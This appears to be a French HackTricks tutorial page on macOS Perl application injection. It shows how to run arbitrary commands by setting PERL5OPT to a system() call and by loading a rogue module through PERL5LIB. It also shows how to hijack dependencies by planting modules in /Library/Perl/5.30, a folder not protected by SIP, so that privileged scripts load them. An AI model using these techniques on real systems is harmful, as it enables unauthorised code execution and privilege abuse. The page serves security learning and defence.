4.6 KiB
Injection d'applications Perl macOS
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.
Via la variable d'environnement PERL5OPT
& PERL5LIB
En utilisant la variable d'environnement PERL5OPT, il est possible de faire exécuter des commandes arbitraires par Perl.
Par exemple, créez ce script :
{% code title="test.pl" %}
#!/usr/bin/perl
print "Hello from the Perl script!\n";
{% endcode %}
Maintenant exportez la variable d'environnement et exécutez le script perl :
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Une autre option est de créer un module Perl (par exemple /tmp/pmod.pm
):
{% code title="/tmp/pmod.pm" %}
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
{% endcode %}
Et ensuite utiliser les variables d'environnement :
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
Via dépendances
Il est possible de lister l'ordre des dossiers de dépendances de Perl en cours d'exécution :
perl -e 'print join("\n", @INC)'
Ce qui renverra quelque chose comme :
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Certaines des dossiers retournés n'existent même pas, cependant, /Library/Perl/5.30
existe, il n'est pas protégé par SIP et il est avant les dossiers protégés par SIP. Par conséquent, quelqu'un pourrait abuser de ce dossier pour ajouter des dépendances de script afin qu'un script Perl à haut privilège le charge.
{% hint style="warning" %} Cependant, notez que vous devez être root pour écrire dans ce dossier et de nos jours vous obtiendrez cette invite TCC: {% endhint %}
Par exemple, si un script importe use File::Basename;
il serait possible de créer /Library/Perl/5.30/File/Basename.pm
pour exécuter du code arbitraire.
Références
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks:
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF Consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.